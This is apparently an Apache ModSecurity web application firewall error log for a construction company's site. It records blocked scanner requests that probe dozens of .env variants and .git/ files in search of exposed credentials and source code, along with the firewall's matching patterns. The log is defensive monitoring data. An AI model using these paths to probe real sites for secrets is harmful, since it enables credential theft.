[Sat Mar 21 03:32:37.662445 2026] [:error] [pid 1490:tid 1536] [client 182.44.67.97:37478] [client 182.44.67.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab2g1WSWhIPTatyxDeBQoAAAAEM"]
[Sat Mar 21 03:47:59.243359 2026] [:error] [pid 1601:tid 1622] [client 104.23.239.59:11176] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "ab2kb6dDBYVcyITq-IH8swAAANE"]
[Sat Mar 21 03:47:59.317949 2026] [:error] [pid 1601:tid 1624] [client 104.23.239.59:11170] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ab2kb6dDBYVcyITq-IH8tAAAANM"]
[Sat Mar 21 03:47:59.327759 2026] [:error] [pid 1601:tid 1606] [client 104.23.239.58:12702] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/main"] [unique_id "ab2kb6dDBYVcyITq-IH8tQAAAME"]
[Sat Mar 21 03:47:59.345844 2026] [:error] [pid 1601:tid 1625] [client 104.23.239.96:11601] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/logs/HEAD"] [unique_id "ab2kb6dDBYVcyITq-IH8tgAAANQ"]
[Sat Mar 21 03:47:59.345863 2026] [:error] [pid 1601:tid 1629] [client 104.23.239.97:11089] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/index"] [unique_id "ab2kb6dDBYVcyITq-IH8twAAANg"]
[Sat Mar 21 03:47:59.475309 2026] [:error] [pid 1489:tid 1519] [client 104.23.239.59:11179] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/master"] [unique_id "ab2kb1RvnvBO_DG9kxvbWwAAAA8"]
[Sat Mar 21 03:48:00.347697 2026] [:error] [pid 1489:tid 1508] [client 104.23.239.58:12214] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "ab2kcFRvnvBO_DG9kxvbXQAAAAU"]
[Sat Mar 21 03:48:00.353558 2026] [:error] [pid 1601:tid 1627] [client 104.23.239.59:12994] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "ab2kcKdDBYVcyITq-IH8uAAAANY"]
[Sat Mar 21 03:48:00.361572 2026] [:error] [pid 1489:tid 1509] [client 104.23.239.96:11612] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "ab2kcFRvnvBO_DG9kxvbXgAAAAY"]
[Sat Mar 21 03:48:00.368449 2026] [:error] [pid 1490:tid 1549] [client 104.23.239.96:11604] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ab2kcGSWhIPTatyxDeBUrAAAAE4"]
[Sat Mar 21 03:48:00.460079 2026] [:error] [pid 1489:tid 1507] [client 104.23.239.58:12211] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ab2kcFRvnvBO_DG9kxvbXwAAAAQ"]
[Sat Mar 21 03:48:00.651743 2026] [:error] [pid 1491:tid 1563] [client 104.23.239.96:11615] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "ab2kcK3VfHftzE9w9t5oZQAAAIA"]
[Sat Mar 21 03:48:01.349796 2026] [:error] [pid 1489:tid 1520] [client 104.23.239.58:12216] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "ab2kcVRvnvBO_DG9kxvbYQAAABA"]
[Sat Mar 21 03:48:01.361355 2026] [:error] [pid 1601:tid 1607] [client 104.23.239.97:11097] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "ab2kcadDBYVcyITq-IH8uwAAAMI"]
[Sat Mar 21 03:48:01.493798 2026] [:error] [pid 1601:tid 1620] [client 104.23.239.96:11622] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "ab2kcadDBYVcyITq-IH8vAAAAM8"]
[Sat Mar 21 03:48:01.520274 2026] [:error] [pid 1491:tid 1588] [client 104.23.239.96:11625] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "ab2kca3VfHftzE9w9t5oZwAAAJg"]
[Sat Mar 21 03:48:01.524912 2026] [:error] [pid 1489:tid 1514] [client 104.23.239.96:11626] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "ab2kcVRvnvBO_DG9kxvbYgAAAAo"]
[Sat Mar 21 03:48:01.794665 2026] [:error] [pid 1601:tid 1616] [client 104.23.239.59:13001] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.tmp"] [unique_id "ab2kcadDBYVcyITq-IH8vgAAAMs"]
[Sat Mar 21 03:48:02.359052 2026] [:error] [pid 1491:tid 1571] [client 104.23.239.97:11099] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ab2kcq3VfHftzE9w9t5oaQAAAIg"]
[Sat Mar 21 03:48:02.389444 2026] [:error] [pid 1601:tid 1629] [client 104.23.239.97:11101] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.local"] [unique_id "ab2kcqdDBYVcyITq-IH8wQAAANg"]
[Sat Mar 21 03:48:02.535709 2026] [:error] [pid 1601:tid 1609] [client 104.23.239.97:11106] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development.local"] [unique_id "ab2kcqdDBYVcyITq-IH8wgAAAMQ"]
[Sat Mar 21 03:48:02.553273 2026] [:error] [pid 1489:tid 1517] [client 104.23.239.96:11630] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env"] [unique_id "ab2kclRvnvBO_DG9kxvbZgAAAA0"]
[Sat Mar 21 03:48:02.671298 2026] [:error] [pid 1601:tid 1621] [client 104.23.239.58:12217] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "ab2kcqdDBYVcyITq-IH8wwAAANA"]
[Sat Mar 21 03:48:02.942755 2026] [:error] [pid 1601:tid 1614] [client 104.23.239.59:13004] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "ab2kcqdDBYVcyITq-IH8xQAAAMk"]
[Sat Mar 21 03:48:03.355113 2026] [:error] [pid 1491:tid 1573] [client 104.23.239.59:13005] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "ab2kc63VfHftzE9w9t5oawAAAIo"]
[Sat Mar 21 03:48:03.394320 2026] [:error] [pid 1491:tid 1576] [client 104.23.239.58:12222] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "ab2kc63VfHftzE9w9t5obAAAAI0"]
[Sat Mar 21 03:48:03.648656 2026] [:error] [pid 1491:tid 1583] [client 104.23.239.59:13013] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/core/.env"] [unique_id "ab2kc63VfHftzE9w9t5obwAAAJM"]
[Sat Mar 21 03:48:03.692409 2026] [:error] [pid 1491:tid 1572] [client 104.23.239.97:11108] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "ab2kc63VfHftzE9w9t5ocAAAAIk"]
[Sat Mar 21 03:48:03.819706 2026] [:error] [pid 1491:tid 1581] [client 104.23.239.59:13020] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/private/.env"] [unique_id "ab2kc63VfHftzE9w9t5ocQAAAJE"]
[Sat Mar 21 03:48:04.491716 2026] [:error] [pid 1490:tid 1552] [client 104.23.239.58:12230] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env.local"] [unique_id "ab2kdGSWhIPTatyxDeBUrwAAAFE"]
[Sat Mar 21 03:48:04.500372 2026] [:error] [pid 1490:tid 1545] [client 104.23.239.97:11117] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.php"] [unique_id "ab2kdGSWhIPTatyxDeBUsAAAAEo"]
[Sat Mar 21 03:48:04.794855 2026] [:error] [pid 1490:tid 1544] [client 104.23.239.59:13027] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "ab2kdGSWhIPTatyxDeBUsQAAAEk"]
[Sat Mar 21 03:48:04.837833 2026] [:error] [pid 1490:tid 1541] [client 104.23.239.59:13033] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_backup"] [unique_id "ab2kdGSWhIPTatyxDeBUsgAAAEY"]
[Sat Mar 21 03:48:04.958944 2026] [:error] [pid 1601:tid 1629] [client 104.23.239.97:11124] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "ab2kdKdDBYVcyITq-IH8ygAAANg"]
[Sat Mar 21 03:48:05.531220 2026] [:error] [pid 1601:tid 1611] [client 104.23.239.59:13037] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env1"] [unique_id "ab2kdadDBYVcyITq-IH8zwAAAMY"]
[Sat Mar 21 03:48:05.639542 2026] [:error] [pid 1491:tid 1566] [client 104.23.239.97:11126] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env2"] [unique_id "ab2kda3VfHftzE9w9t5oeQAAAIM"]
[Sat Mar 21 03:48:05.839160 2026] [:error] [pid 1601:tid 1624] [client 104.23.239.96:11635] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "ab2kdadDBYVcyITq-IH80QAAANM"]
[Sat Mar 21 03:48:05.986094 2026] [:error] [pid 1490:tid 1554] [client 104.23.239.59:13044] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.envrc"] [unique_id "ab2kdWSWhIPTatyxDeBUtQAAAFM"]
[Sat Mar 21 03:48:05.991426 2026] [:error] [pid 1489:tid 1525] [client 104.23.239.96:11638] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.orig"] [unique_id "ab2kdVRvnvBO_DG9kxvbagAAABU"]
[Sat Mar 21 03:48:06.250844 2026] [:error] [pid 1601:tid 1606] [client 104.23.239.58:12231] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.bak"] [unique_id "ab2kdqdDBYVcyITq-IH80gAAAME"]
[Sat Mar 21 03:48:06.531598 2026] [:error] [pid 1490:tid 1536] [client 104.23.239.58:12232] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "ab2kdmSWhIPTatyxDeBUtwAAAEM"]
[Sat Mar 21 03:48:06.777637 2026] [:error] [pid 1491:tid 1587] [client 104.23.239.97:11134] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev.local"] [unique_id "ab2kdq3VfHftzE9w9t5oegAAAJc"]
[Sat Mar 21 03:48:06.841035 2026] [:error] [pid 1491:tid 1567] [client 104.23.239.59:13051] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "ab2kdq3VfHftzE9w9t5oewAAAIQ"]
[Sat Mar 21 03:48:06.998583 2026] [:error] [pid 1601:tid 1607] [client 104.23.239.59:13056] [client 104.23.239.59] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.container"] [unique_id "ab2kdqdDBYVcyITq-IH81wAAAMI"]
[Sat Mar 21 03:48:07.031363 2026] [:error] [pid 1490:tid 1560] [client 104.23.239.58:12236] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env"] [unique_id "ab2kd2SWhIPTatyxDeBUugAAAFg"]
[Sat Mar 21 03:48:07.530682 2026] [:error] [pid 1601:tid 1621] [client 104.23.239.97:12617] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env.local"] [unique_id "ab2kd6dDBYVcyITq-IH82gAAANA"]
[Sat Mar 21 03:48:07.846497 2026] [:error] [pid 1601:tid 1610] [client 104.23.239.58:12243] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/srv/.env"] [unique_id "ab2kd6dDBYVcyITq-IH83AAAAMU"]
[Sat Mar 21 03:48:07.910311 2026] [:error] [pid 1601:tid 1606] [client 104.23.239.58:12237] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/server/.env"] [unique_id "ab2kd6dDBYVcyITq-IH83QAAAME"]
[Sat Mar 21 03:48:08.002413 2026] [:error] [pid 1491:tid 1578] [client 104.23.239.58:12246] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/web/.env"] [unique_id "ab2keK3VfHftzE9w9t5ofQAAAI8"]
[Sat Mar 21 03:48:08.156046 2026] [:error] [pid 1491:tid 1563] [client 104.23.239.58:12253] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/site/.env"] [unique_id "ab2keK3VfHftzE9w9t5ofgAAAIA"]
[Sat Mar 21 03:48:08.852611 2026] [:error] [pid 1489:tid 1527] [client 104.23.239.96:11782] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/.env"] [unique_id "ab2keFRvnvBO_DG9kxvbbQAAABc"]
[Sat Mar 21 03:48:09.003624 2026] [:error] [pid 1489:tid 1517] [client 104.23.239.97:12622] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/home/.env"] [unique_id "ab2keVRvnvBO_DG9kxvbbgAAAA0"]
[Sat Mar 21 03:48:09.196564 2026] [:error] [pid 1489:tid 1509] [client 104.23.239.96:11790] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/root/.env"] [unique_id "ab2keVRvnvBO_DG9kxvbbwAAAAY"]
[Sat Mar 21 03:48:09.351956 2026] [:error] [pid 1601:tid 1615] [client 104.23.239.58:12261] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_config"] [unique_id "ab2keadDBYVcyITq-IH84wAAAMo"]
[Sat Mar 21 03:48:09.888565 2026] [:error] [pid 1601:tid 1606] [client 104.23.239.96:10533] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "ab2keadDBYVcyITq-IH85QAAAME"]
[Sat Mar 21 03:48:09.954722 2026] [:error] [pid 1601:tid 1611] [client 104.23.239.58:11714] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_secret"] [unique_id "ab2keadDBYVcyITq-IH85gAAAMY"]
